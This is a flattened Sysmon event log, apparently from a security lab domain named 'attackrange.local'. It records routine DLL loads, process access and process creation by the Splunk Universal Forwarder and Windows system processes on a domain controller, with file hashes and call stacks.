(rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 23542300x800000000000000017752Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:20.149{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78A117C888C5DE50188F02C33B317103,SHA256=5A45F3F58B40F56A9FF806A7393266EE1375D1138087A6858B08AE59833FA9C8,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000055512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000055511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000055506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.580{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.581{7BD73061-746C-613B-9A0B-00000000F001}5236C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000055499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.400{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.400{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 